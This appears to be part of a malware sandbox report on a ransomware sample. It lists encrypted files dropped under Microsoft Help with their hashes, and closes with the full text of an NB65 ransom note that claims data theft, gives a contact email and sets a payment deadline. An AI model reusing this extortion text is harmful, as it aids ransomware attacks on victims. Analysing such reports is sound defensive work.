SHA-512:8C90697E3289357C1070343044DE0CC4D3F0C60704575C4B9C90C5C8C623DE2CCFE3676A90A5792AF07BEBFBB13A7558BDFA167585B056C5BBC2E6AF912FFDE6
Malicious:false
Preview:|...$.3K].D.+^.<...X..........J...^tb...e.*k..s.kT.g..p(..:t. ..:.-e.WD.O.........F.d1..4......(..X..:Z...R...b.w[.l.%%o.j....f.D.?[.e..;'.L4....*V/.....!....s`.J...k.K~a"b..;..........#....G....<.6...\x.l.^..UA..u......F.`r..Y.0.c...sg../........./...\....j.!5.yp.cB.{3F...in.9..@.I.j.(...x.g.m.-d.O..3.19...@7.Me0%..hJ..+......S..Y>.l.p7...A...!....9+...DjB.bo;.j....U.g,"...|..z~V....~..JBH...V.@.!w5!.0.5e..|.....X...l.KBU..+.i ...AL.PDO.Jb.F)z`..'.[.....yB......D| .E......iy....a...m.?...B....`..5lF..E+.}SR...s.+OSQ.4qb...(..}.lUH......i....\H....hH..0...,..|..S..;@.....$...)q.SrtUcg.[s.I..}....9.4..7.<.._.$..4..:.T..X.4..%..)L...C{....~.+..Z<.+<.#.:......h........"..w...%...o\0h3.S2...aLEl...6y....N.<&L..LK...q.......>......'.'p}.e..v@.5.6+....g.Lg..)mp......[.)n.95.H.k....+...z.".hW[.(...z..{..r......f..m..4u..T..S8.."...5..6.pu+..............$.p.......

C:\ProgramData\Microsoft Help\MS.POWERPNT.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):902
Entropy (8bit):7.704421046590095
Encrypted:false
SSDEEP:
MD5:17026B058634A70A7539E63205BB7614
SHA1:D03C6E4951CC1114B35E24367A18866C9F538D23
SHA-256:F6CD313A885A3318CF86032580355057F134C0464FCA72A295F8F002BAE2A0A9
SHA-512:8C90697E3289357C1070343044DE0CC4D3F0C60704575C4B9C90C5C8C623DE2CCFE3676A90A5792AF07BEBFBB13A7558BDFA167585B056C5BBC2E6AF912FFDE6
Malicious:false
Preview:|...$.3K].D.+^.<...X..........J...^tb...e.*k..s.kT.g..p(..:t. ..:.-e.WD.O.........F.d1..4......(..X..:Z...R...b.w[.l.%%o.j....f.D.?[.e..;'.L4....*V/.....!....s`.J...k.K~a"b..;..........#....G....<.6...\x.l.^..UA..u......F.`r..Y.0.c...sg../........./...\....j.!5.yp.cB.{3F...in.9..@.I.j.(...x.g.m.-d.O..3.19...@7.Me0%..hJ..+......S..Y>.l.p7...A...!....9+...DjB.bo;.j....U.g,"...|..z~V....~..JBH...V.@.!w5!.0.5e..|.....X...l.KBU..+.i ...AL.PDO.Jb.F)z`..'.[.....yB......D| .E......iy....a...m.?...B....`..5lF..E+.}SR...s.+OSQ.4qb...(..}.lUH......i....\H....hH..0...,..|..S..;@.....$...)q.SrtUcg.[s.I..}....9.4..7.<.._.$..4..:.T..X.4..%..)L...C{....~.+..Z<.+<.#.:......h........"..w...%...o\0h3.S2...aLEl...6y....N.<&L..LK...q.......>......'.'p}.e..v@.5.6+....g.Lg..)mp......[.)n.95.H.k....+...z.".hW[.(...z..{..r......f..m..4u..T..S8.."...5..6.pu+..............$.p.......

C:\ProgramData\Microsoft Help\MS.SETLANG.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):896
Entropy (8bit):7.730167846728793
Encrypted:false
SSDEEP:
MD5:CC6AFF52E9364A99D220A6CC2E96BE45
SHA1:BE655AF80C2D9BF12B61EA06D133EFE12E5478AA
SHA-256:86EE7734372145ACBE91C3056F0AACB3E775C8D97BD83EF3DA292782A0B5C1AE
SHA-512:362C370C3AC84A4494B6366E6FDF30D7A130B09347B86A03E7A5931053782584D982B647B3F5F8961FA989865F7DE6E31B2EA609B08406434B8EDB810586BE0C
Malicious:false
Preview:$....)..!]..c..a.@0...;.(...VA....L....L8..\..,."!..Q.{.4...c..9.H0%.;X....*..}...E.....Y.....\t.!..=_?)...=T.i..?.{.0.L.._...Vs.mm...{.....*./..+.M.6X.M.Q'Q..'B.........).Di..k....K....~.$.K...+....F?.n..`l..L..4.....)...q~....G%|......Vs......h....b.]..?T...={...#2.G.sA'.Z.......JM.(&.M.'3*...]..o......8G~_......>uk.+}..?.... .!U8....<H....b...MY.N.....(.a......Z.'...R.&..CaJ.K.1...!.j....M.D..M.7.i...".R..'.<r.&.........j.$..M....D.....Yr@|..!.r..@>.=..3je-X.2..&...<.CJ..c..M#y..9...&].s.e.%.R..O..1..A.........>..........e...P.............N.dbV..h...=.A^....K.xI,G.k#.i...oq,(l..|.\.?}rS.."..........m...J.pJ...J6.....=..P...b..qt.Xl.q..".%.-V.cZ_....*....".8..w....*.*.............52.g.t[M....+.F.(....Lu...R./......K...........).l.S(n.M.1p.=..[....r...>_.$.r..._.s......./.n..c$U.m...^.e.Dle....6Q.9.. fX.1..4.>..-'............$.j.......

C:\ProgramData\Microsoft Help\MS.SETLANG.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):896
Entropy (8bit):7.730167846728793
Encrypted:false
SSDEEP:
MD5:CC6AFF52E9364A99D220A6CC2E96BE45
SHA1:BE655AF80C2D9BF12B61EA06D133EFE12E5478AA
SHA-256:86EE7734372145ACBE91C3056F0AACB3E775C8D97BD83EF3DA292782A0B5C1AE
SHA-512:362C370C3AC84A4494B6366E6FDF30D7A130B09347B86A03E7A5931053782584D982B647B3F5F8961FA989865F7DE6E31B2EA609B08406434B8EDB810586BE0C
Malicious:false
Preview:$....)..!]..c..a.@0...;.(...VA....L....L8..\..,."!..Q.{.4...c..9.H0%.;X....*..}...E.....Y.....\t.!..=_?)...=T.i..?.{.0.L.._...Vs.mm...{.....*./..+.M.6X.M.Q'Q..'B.........).Di..k....K....~.$.K...+....F?.n..`l..L..4.....)...q~....G%|......Vs......h....b.]..?T...={...#2.G.sA'.Z.......JM.(&.M.'3*...]..o......8G~_......>uk.+}..?.... .!U8....<H....b...MY.N.....(.a......Z.'...R.&..CaJ.K.1...!.j....M.D..M.7.i...".R..'.<r.&.........j.$..M....D.....Yr@|..!.r..@>.=..3je-X.2..&...<.CJ..c..M#y..9...&].s.e.%.R..O..1..A.........>..........e...P.............N.dbV..h...=.A^....K.xI,G.k#.i...oq,(l..|.\.?}rS.."..........m...J.pJ...J6.....=..P...b..qt.Xl.q..".%.-V.cZ_....*....".8..w....*.*.............52.g.t[M....+.F.(....Lu...R./......K...........).l.S(n.M.1p.=..[....r...>_.$.r..._.s......./.n..c$U.m...^.e.Dle....6Q.9.. fX.1..4.>..-'............$.j.......

C:\ProgramData\Microsoft Help\MS.SKYPEFB.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):896
Entropy (8bit):7.785145245066045
Encrypted:false
SSDEEP:
MD5:AABD27066716BEC582FFE7D2D7FA6986
SHA1:577AE451C1044FD72654EB60768091D14AEA36C7
SHA-256:CD5CF67041F527DA3BBB153B1D9A1E88D8B0A2E0939788C2A5073645D4A28C87
SHA-512:286370ECF9EE954D4C7237C4D1386B3B36D72B25BA2F18DCCF3915041A014F72D42A6521972865DE7778DA81E1E39E42B539EE9E2DD6DB7EF5E5C0780D5D7586
Malicious:false
Preview:Q-.w.1...M..z/.P.,;..+9..^..(.U..4.W...).P.$k{.4^#A&..L...Y.3.Y#.$.H....B&..ncg.s9!..p...d.dM.Y'.....a.....iM,)...5]..g.g.5..[..[i.....}.@%..s......'.I @...._)f.R.C....K.,...?w.4.......E.=_.y_...v|7m>Kdn.L.......9.[dw.q...~.7.....9.].|.....F....So.\.%R_..V.)W.....5c...t..[.....^sI..x.5.|\%.v..P..b0.;.-.k.{8.pw..B1..;...?.aZt.B.......A.>....g.e..R..6.......~.Qai..9A..&MO..E.%G.B...q...H%.........g.!.1...?&Y..........g.m7.&.GK...8JI....OCR..`.......'..%:..[...=...:'..R...(.72..E.....N.....z1.......,..1 .D..#]^%.K..P.%....:2.}.......e......-........l........*.E..M........... v;......{...-DIe[......Z.p...^=F_.zx..Cv........9.P.[]..Ek...&..rb......+....3....e.....X......T....tZ...CbT.o.Qz?3'.WR.j....>b.x..)..S..C.. ..8."7......!....F.....Z........h.c..J.sih.....=.......nW............(6..,"..3...,..{%.L................$.j.......

C:\ProgramData\Microsoft Help\MS.SKYPEFB.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):896
Entropy (8bit):7.785145245066045
Encrypted:false
SSDEEP:
MD5:AABD27066716BEC582FFE7D2D7FA6986
SHA1:577AE451C1044FD72654EB60768091D14AEA36C7
SHA-256:CD5CF67041F527DA3BBB153B1D9A1E88D8B0A2E0939788C2A5073645D4A28C87
SHA-512:286370ECF9EE954D4C7237C4D1386B3B36D72B25BA2F18DCCF3915041A014F72D42A6521972865DE7778DA81E1E39E42B539EE9E2DD6DB7EF5E5C0780D5D7586
Malicious:false
Preview:Q-.w.1...M..z/.P.,;..+9..^..(.U..4.W...).P.$k{.4^#A&..L...Y.3.Y#.$.H....B&..ncg.s9!..p...d.dM.Y'.....a.....iM,)...5]..g.g.5..[..[i.....}.@%..s......'.I @...._)f.R.C....K.,...?w.4.......E.=_.y_...v|7m>Kdn.L.......9.[dw.q...~.7.....9.].|.....F....So.\.%R_..V.)W.....5c...t..[.....^sI..x.5.|\%.v..P..b0.;.-.k.{8.pw..B1..;...?.aZt.B.......A.>....g.e..R..6.......~.Qai..9A..&MO..E.%G.B...q...H%.........g.!.1...?&Y..........g.m7.&.GK...8JI....OCR..`.......'..%:..[...=...:'..R...(.72..E.....N.....z1.......,..1 .D..#]^%.K..P.%....:2.}.......e......-........l........*.E..M........... v;......{...-DIe[......Z.p...^=F_.zx..Cv........9.P.[]..Ek...&..rb......+....3....e.....X......T....tZ...CbT.o.Qz?3'.WR.j....>b.x..)..S..C.. ..8."7......!....F.....Z........h.c..J.sih.....=.......nW............(6..,"..3...,..{%.L................$.j.......

C:\ProgramData\Microsoft Help\MS.SKYPEFB_BASIC.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):932
Entropy (8bit):7.755719536760923
Encrypted:false
SSDEEP:
MD5:D0C9D3BFA6080C4674C52CCD751F6D2E
SHA1:24F22A161BC9A267235B4F2030C636435D456E15
SHA-256:4E30598C50EF0E707E30DAFEA602CB73B487F851A5245030A9D47F0584F28D56
SHA-512:3C9F3A39FE1EC6DFC79C3BAB44C5620DD8A5778F440D577F3138A0BDAC53EAFECB74EE465388983526B541A46DF5210DFCDA8C650EE18917104F8521F8364C44
Malicious:false
Preview:....t.......6.v._. .m.R.....@..j....c.x.....D...A.V...QF...4.....!..g./W...v%...%@;.VM..i.PM....Z.^L..H..W.q/.(............V M.HmD.S.k..K1..".<.q..'....2YU.;xx...=.*....'..........9.QX.-...?.o..y....^%=;..E..S5.i...'.a...xI..".......Z.-w......n)v..RS.u.x+.._x..9.......&..L]..C.a...G.(.Y.y.$.....]...>.r.C....{...,8Y..&Y..y....[oh.=.....+&.I...$.W.wA..<_S..[.!.e2.S..n.......i.......|0.`.l.@c...0B.>..6T..D..|..r~a...Ux.!.Y5.I......5....S..L.L4..5.&.Q.H....s.... .D%.^.5._.#..cQ>....8AKz..'n~t..}0...#...Q.m....(..XJx.l.O=..d<.,.jj.c..[...l..ip:7t...@....d34...BLI1(.mB.Q..oT.A...\9O........(.x.&.]...Y...I.N.*..[V...6.M0F...f.=l.[...:h..........-&..<....9...K...tf..e.0.1S.bIT...L......}#.9..*..s........o.....4..)|..k........^X..s.'..)c.vX.D(L).$......(_.....O......{'.y.Q........^..[.=.{.1.Rs..V..oBM~K._Y..Iz....M.r.V]3.\[..m*.b.c;.26a.z*E...!NJ3.k...W..YA...`.E....!.,.............$.........

C:\ProgramData\Microsoft Help\MS.SKYPEFB_BASIC.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):932
Entropy (8bit):7.755719536760923
Encrypted:false
SSDEEP:
MD5:D0C9D3BFA6080C4674C52CCD751F6D2E
SHA1:24F22A161BC9A267235B4F2030C636435D456E15
SHA-256:4E30598C50EF0E707E30DAFEA602CB73B487F851A5245030A9D47F0584F28D56
SHA-512:3C9F3A39FE1EC6DFC79C3BAB44C5620DD8A5778F440D577F3138A0BDAC53EAFECB74EE465388983526B541A46DF5210DFCDA8C650EE18917104F8521F8364C44
Malicious:false
Preview:....t.......6.v._. .m.R.....@..j....c.x.....D...A.V...QF...4.....!..g./W...v%...%@;.VM..i.PM....Z.^L..H..W.q/.(............V M.HmD.S.k..K1..".<.q..'....2YU.;xx...=.*....'..........9.QX.-...?.o..y....^%=;..E..S5.i...'.a...xI..".......Z.-w......n)v..RS.u.x+.._x..9.......&..L]..C.a...G.(.Y.y.$.....]...>.r.C....{...,8Y..&Y..y....[oh.=.....+&.I...$.W.wA..<_S..[.!.e2.S..n.......i.......|0.`.l.@c...0B.>..6T..D..|..r~a...Ux.!.Y5.I......5....S..L.L4..5.&.Q.H....s.... .D%.^.5._.#..cQ>....8AKz..'n~t..}0...#...Q.m....(..XJx.l.O=..d<.,.jj.c..[...l..ip:7t...@....d34...BLI1(.mB.Q..oT.A...\9O........(.x.&.]...Y...I.N.*..[V...6.M0F...f.=l.[...:h..........-&..<....9...K...tf..e.0.1S.bIT...L......}#.9..*..s........o.....4..)|..k........^X..s.'..)c.vX.D(L).$......(_.....O......{'.y.Q........^..[.=.{.1.Rs..V..oBM~K._Y..Iz....M.r.V]3.\[..m*.b.c;.26a.z*E...!NJ3.k...W..YA...`.E....!.,.............$.........

C:\ProgramData\Microsoft Help\MS.SKYPEFB_ONLINE.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):938
Entropy (8bit):7.77316456129827
Encrypted:false
SSDEEP:
MD5:0D8FF5BF543962403E7E38582729B487
SHA1:1DDD6B9F071CE020A71F453C29FCF41C5AA80E39
SHA-256:EB29E86644EC6E469638A4EEC43D353CE4B4D19788AD6EEFDB53FD1365C8D6F1
SHA-512:C535B6F5CEE87DD2664E201EB6709F043A5A211765FFFCE808188154017F10B2F19B0CCD9C41B78AE02EDB5F93DBFFFED7E77A921BB063CA4666CB24F4D55A97
Malicious:false
Preview:....*.L.T..f....n.+..<.....eq`.$..l.....YN...YIo............? X0....2[...F.....-.w\9q.Q.9....m{;.o......L..].dJb....v&..}....._c]=Z.Go...!).#.H.9..Q.....C1A.3T.X.9X{0....^J.Gl...8%u..'..H..@)..!.LHN.K?.J.v.P......v.s........i..%jep=..b.....%..1*.)\......U~E.....0...x.q.5Qq.V.>g=cyP.{.H.o.........]..]..yyh.fAS.N..J.W..y.'.<.e...DY.no..K.....A.L...E.MGZ..Z... .C.N....,.... .u.U.g.deC{....\'_...z.lN..|..].>...'Y\y~b.?...o..\t.9m. .....ni..Z(.`....\.X[.$J.\.~s....aC..R.9p..v....8f>.c....:f..'.*O@.8....c34+.t+n.I..m'C'..#_........J._...^_...|...E.+A+..).]..".J.......`.m1..f7..:r$%{n.un..\,$n*e]..I1[......T?..a{...h.<..g..._u0....|....}.o.7.5..r..A.z|...2....LR/.2.`....L_!.m....I...yB.ka.Z....6..?g,..7X.,|....2j..`..XM.I:GUvP....6P7YF.3....e...=&(.......S-H.+..o..........c.........z....N."M..e[La0.x*..-.2.}e.3. G..&.*F.B..V...."=...G!.kJ..Ii..p.^..&Z..........B.<.............$.........

C:\ProgramData\Microsoft Help\MS.SKYPEFB_ONLINE.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):938
Entropy (8bit):7.77316456129827
Encrypted:false
SSDEEP:
MD5:0D8FF5BF543962403E7E38582729B487
SHA1:1DDD6B9F071CE020A71F453C29FCF41C5AA80E39
SHA-256:EB29E86644EC6E469638A4EEC43D353CE4B4D19788AD6EEFDB53FD1365C8D6F1
SHA-512:C535B6F5CEE87DD2664E201EB6709F043A5A211765FFFCE808188154017F10B2F19B0CCD9C41B78AE02EDB5F93DBFFFED7E77A921BB063CA4666CB24F4D55A97
Malicious:false
Preview:....*.L.T..f....n.+..<.....eq`.$..l.....YN...YIo............? X0....2[...F.....-.w\9q.Q.9....m{;.o......L..].dJb....v&..}....._c]=Z.Go...!).#.H.9..Q.....C1A.3T.X.9X{0....^J.Gl...8%u..'..H..@)..!.LHN.K?.J.v.P......v.s........i..%jep=..b.....%..1*.)\......U~E.....0...x.q.5Qq.V.>g=cyP.{.H.o.........]..]..yyh.fAS.N..J.W..y.'.<.e...DY.no..K.....A.L...E.MGZ..Z... .C.N....,.... .u.U.g.deC{....\'_...z.lN..|..].>...'Y\y~b.?...o..\t.9m. .....ni..Z(.`....\.X[.$J.\.~s....aC..R.9p..v....8f>.c....:f..'.*O@.8....c34+.t+n.I..m'C'..#_........J._...^_...|...E.+A+..).]..".J.......`.m1..f7..:r$%{n.un..\,$n*e]..I1[......T?..a{...h.<..g..._u0....|....}.o.7.5..r..A.z|...2....LR/.2.`....L_!.m....I...yB.ka.Z....6..?g,..7X.,|....2j..`..XM.I:GUvP....6P7YF.3....e...=&(.......S-H.+..o..........c.........z....N."M..e[La0.x*..-.2.}e.3. G..&.*F.B..V...."=...G!.kJ..Ii..p.^..&Z..........B.<.............$.........

C:\ProgramData\Microsoft Help\MS.SKYPEFB_ONLINEG.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):944
Entropy (8bit):7.725279594136849
Encrypted:false
SSDEEP:
MD5:673E9B892E7EB134C31F9A4F5B60B787
SHA1:4E7A907E070317F226B487E346BABE1039E7A42F
SHA-256:274D40E158EC86393DA5A2A86592B668791EF1A212C03AB074F16E1EA5C6F18E
SHA-512:A27895CA3E4CC8D4D2197F986158572F62664EC20671B1EA41BD2850D2D9BFF286E0AF68F8A53762934927BE9ED768C97D02CFDA48C23C2A90E39EC3EADE223C
Malicious:false
Preview:p.1>..qT|.....&.....0E.Q-@....i..5.dK.{....X...Q.M......w.oD..>...Ew .G..~u...... .$4...8.DV.....@D......Kj...w.n..........g..p^_...^...<m....8yT...8...hk..."U....zHh..7i.....!7N.-..N9T631....~.YK..........k+]Od.`j...q".......C.'._..k&..H..J...$....3.uJ.3...!sUd.4.!0...=.o{...4.r..v_GMN.4.8WJ6.5.A.q...6.8.....~+.D~...........9.....C#.)3..2'.......7./.....(;..r..D4X..+.?.....(.D.X.., X3.~9..'..A`..TZ.5*.Z4.).A<..3.W.@o.S.m.`...W.9....\...\.[.....HY5..d"...'k9Lv..zL.4.f^%...g8.U.....b.._8.m.......^..0..Yj...#W.:.....N..m.....^..G..VmU.d...[..tL:...s.8K.v.q ...[.a......! ......h[&8|.X9.7.........>.|N...r.......7..I..G..4.....9..$L.S.t'......).h/.Y.r...F.....Z.f..hJ.].`.;....F....#u..B+..3.{%...UX..}..$.1....9.~.8....|~.{.....'~..t.8..$..G.A....H....>z.r.Nf.~_..0..Nf[..7j3G#.......Mo....z...+.vGT.u...HUF.T..6......ci.aw8...k..).D.............H. ..mwJ.|..-.................$.........

C:\ProgramData\Microsoft Help\MS.SKYPEFB_ONLINEG.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):944
Entropy (8bit):7.725279594136849
Encrypted:false
SSDEEP:
MD5:673E9B892E7EB134C31F9A4F5B60B787
SHA1:4E7A907E070317F226B487E346BABE1039E7A42F
SHA-256:274D40E158EC86393DA5A2A86592B668791EF1A212C03AB074F16E1EA5C6F18E
SHA-512:A27895CA3E4CC8D4D2197F986158572F62664EC20671B1EA41BD2850D2D9BFF286E0AF68F8A53762934927BE9ED768C97D02CFDA48C23C2A90E39EC3EADE223C
Malicious:false
Preview:p.1>..qT|.....&.....0E.Q-@....i..5.dK.{....X...Q.M......w.oD..>...Ew .G..~u...... .$4...8.DV.....@D......Kj...w.n..........g..p^_...^...<m....8yT...8...hk..."U....zHh..7i.....!7N.-..N9T631....~.YK..........k+]Od.`j...q".......C.'._..k&..H..J...$....3.uJ.3...!sUd.4.!0...=.o{...4.r..v_GMN.4.8WJ6.5.A.q...6.8.....~+.D~...........9.....C#.)3..2'.......7./.....(;..r..D4X..+.?.....(.D.X.., X3.~9..'..A`..TZ.5*.Z4.).A<..3.W.@o.S.m.`...W.9....\...\.[.....HY5..d"...'k9Lv..zL.4.f^%...g8.U.....b.._8.m.......^..0..Yj...#W.:.....N..m.....^..G..VmU.d...[..tL:...s.8K.v.q ...[.a......! ......h[&8|.X9.7.........>.|N...r.......7..I..G..4.....9..$L.S.t'......).h/.Y.r...F.....Z.f..hJ.].`.;....F....#u..B+..3.{%...UX..}..$.1....9.~.8....|~.{.....'~..t.8..$..G.A....H....>z.r.Nf.~_..0..Nf[..7j3G#.......Mo....z...+.vGT.u...HUF.T..6......ci.aw8...k..).D.............H. ..mwJ.|..-.................$.........

C:\ProgramData\Microsoft Help\MS.SPREADSHEETCOMPARE.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):970
Entropy (8bit):7.781441665095546
Encrypted:false
SSDEEP:
MD5:D10CCB3A9223ADEA7A90B937C1398CB6
SHA1:B4B98EC533947CB892226AC144E56EF8585F321D
SHA-256:0ACF066D2F6DE7D76DBFBCC8CB457692E182833A9705D2D1EE17741FE9EAD148
SHA-512:57D8C9BF38451B9FEB56D36A8106E0FB6CD20D44EC206945BEAC87C54318D2D9F1C9D219AF454AAC943F9314F4293B9AB9D52921FC97857BFD85228DCA9DBEB0
Malicious:false
Preview:...X....U.1.$_.._W.M.R......R.../...8.2).".....s.tR..R......0.U../.aa.-*.......|..E$.G.....z.G...wSN....>.b.../.p.h.?KU..g\F#.....1.j........Z...l.H2...I#"J.O.....Ga.."..Let..{....X.,.1B..,. _[..vF..1.o^E../.s.....Rx1...l^M..$..voK.....j@......\...z.......P<A....PB.Ha.|4....b.U. .<Y..%.j=.| .+..|#8H.....^..d.W..c]...../!.._B....t....D......6..6dQ9.c..l....W).>5..d....?\&..|C...*.{.........fc.)7ZNXp...|....r......6.........$*=.>....\....i}.Hu.........TD....r...^...+..bT.f,.+.3.z....(...!.=.^f....\...v<....N.....,u.....<..R.....*.L/....6.h..(E[...F..T.O..&.7[..bt.o;....J...4..zz.@..sc.-..;..V....).g...K.#.B...).!.rj........#.+m.<.L.Ip..]oM....S4.I.m....k..da.........d...R..y.....(.S>.}*I....a[v.].l..2.b2{.,...k..a..E.J...D....=0...y.`.h.....j.O..tf.gN.N..m...Y.b&M@.cw.;?2.....:...b.=...4gc.+2.....6...M;.K.7.H/....N.j....<....B..Q...yX.:.....!W....}6t..T..B.....-.&..v.....yh_.}...h...............$.........

C:\ProgramData\Microsoft Help\MS.SPREADSHEETCOMPARE.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):970
Entropy (8bit):7.781441665095546
Encrypted:false
SSDEEP:
MD5:D10CCB3A9223ADEA7A90B937C1398CB6
SHA1:B4B98EC533947CB892226AC144E56EF8585F321D
SHA-256:0ACF066D2F6DE7D76DBFBCC8CB457692E182833A9705D2D1EE17741FE9EAD148
SHA-512:57D8C9BF38451B9FEB56D36A8106E0FB6CD20D44EC206945BEAC87C54318D2D9F1C9D219AF454AAC943F9314F4293B9AB9D52921FC97857BFD85228DCA9DBEB0
Malicious:false
Preview:...X....U.1.$_.._W.M.R......R.../...8.2).".....s.tR..R......0.U../.aa.-*.......|..E$.G.....z.G...wSN....>.b.../.p.h.?KU..g\F#.....1.j........Z...l.H2...I#"J.O.....Ga.."..Let..{....X.,.1B..,. _[..vF..1.o^E../.s.....Rx1...l^M..$..voK.....j@......\...z.......P<A....PB.Ha.|4....b.U. .<Y..%.j=.| .+..|#8H.....^..d.W..c]...../!.._B....t....D......6..6dQ9.c..l....W).>5..d....?\&..|C...*.{.........fc.)7ZNXp...|....r......6.........$*=.>....\....i}.Hu.........TD....r...^...+..bT.f,.+.3.z....(...!.=.^f....\...v<....N.....,u.....<..R.....*.L/....6.h..(E[...F..T.O..&.7[..bt.o;....J...4..zz.@..sc.-..;..V....).g...K.#.B...).!.rj........#.+m.<.L.Ip..]oM....S4.I.m....k..da.........d...R..y.....(.S>.}*I....a[v.].l..2.b2{.,...k..a..E.J...D....=0...y.`.h.....j.O..tf.gN.N..m...Y.b&M@.cw.;?2.....:...b.=...4gc.+2.....6...M;.K.7.H/....N.j....<....B..Q...yX.:.....!W....}6t..T..B.....-.&..v.....yh_.}...h...............$.........

C:\ProgramData\Microsoft Help\MS.WINWORD.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):896
Entropy (8bit):7.7507511880283495
Encrypted:false
SSDEEP:
MD5:D9E30357788A05D0A1D69F89ED28BF3D
SHA1:44D219BB437BEDB1569161E1B0D2E4BD9151BA57
SHA-256:3A7887508CD9A73A7CADC01DEE0225D53FE1117DD7E2916677DCCC0806229238
SHA-512:C3B5BC72C1351EA9AEDE60038388F2D9D53C1D7702D0AE6E95C49FAD2A6BE4C55EA137CBD5E373964962B0F24B40F68B5096DD0CE83A093F66F064A2C71F967B
Malicious:false
Preview:`...........}{.<.Z{......X.g...M~g.6.+..pg.s.4....CN..&4a1.%..{..O.*....A.D.v...+.`.g..e........G..J....@-.0...S..).X.(a+..4.2......D,m.=3@...v.2...U1.,....B4k.T.c]Vu.....10.n."..B?.dJ..-...V.....eA..VT..mv.....z..5.y....`..).pBn.....6D.hr.!.h.n..`.....i.<P.P...b. .N)V..Yc...C...`C#1..G$...C..G..t.'-N.[~'.:t..? ..Q!.n.Cm>!Q.9.P...N.H.g......1X...r.S..I&.../.8.T;t...KL.."....,M.54B;..,.%H..{FZ."e.f"gK...6{w.J../...=..8>. ....s.|o..g..R.B.....B?.Sw...........<6.>.?..f-...8...9..7......Lze.D+..8.+.~.F j...K.^..n..P.......C.g`./..`JK..}.5uH.!g.x........a.0......4^...`.....XG.I...qm0E.Wv9..^.~...B..v.(L...+....+..Me..f.7:.}..|\.......T...+o.k=....8.@...s,..?.vV1j.f....9..k......@..........w;.Y.YH..l.L".....q}.........../".k....X.U..%.8.-....k.@..h..c=......._.Na...E..T.........TCd...u.....-.`gf...i..G..X....*.Y....3.hLY.j............$.j.......

C:\ProgramData\Microsoft Help\MS.WINWORD.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):896
Entropy (8bit):7.7507511880283495
Encrypted:false
SSDEEP:
MD5:D9E30357788A05D0A1D69F89ED28BF3D
SHA1:44D219BB437BEDB1569161E1B0D2E4BD9151BA57
SHA-256:3A7887508CD9A73A7CADC01DEE0225D53FE1117DD7E2916677DCCC0806229238
SHA-512:C3B5BC72C1351EA9AEDE60038388F2D9D53C1D7702D0AE6E95C49FAD2A6BE4C55EA137CBD5E373964962B0F24B40F68B5096DD0CE83A093F66F064A2C71F967B
Malicious:false
Preview:`...........}{.<.Z{......X.g...M~g.6.+..pg.s.4....CN..&4a1.%..{..O.*....A.D.v...+.`.g..e........G..J....@-.0...S..).X.(a+..4.2......D,m.=3@...v.2...U1.,....B4k.T.c]Vu.....10.n."..B?.dJ..-...V.....eA..VT..mv.....z..5.y....`..).pBn.....6D.hr.!.h.n..`.....i.<P.P...b. .N)V..Yc...C...`C#1..G$...C..G..t.'-N.[~'.:t..? ..Q!.n.Cm>!Q.9.P...N.H.g......1X...r.S..I&.../.8.T;t...KL.."....,M.54B;..,.%H..{FZ."e.f"gK...6{w.J../...=..8>. ....s.|o..g..R.B.....B?.Sw...........<6.>.?..f-...8...9..7......Lze.D+..8.+.~.F j...K.^..n..P.......C.g`./..`JK..}.5uH.!g.x........a.0......4^...`.....XG.I...qm0E.Wv9..^.~...B..v.(L...+....+..Me..f.7:.}..|\.......T...+o.k=....8.@...s,..?.vV1j.f....9..k......@..........w;.Y.YH..l.L".....q}.........../".k....X.U..%.8.-....k.@..h..c=......._.Na...E..T.........TCd...u.....-.`gf...i..G..X....*.Y....3.hLY.j............$.j.......

C:\ProgramData\Microsoft Help\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

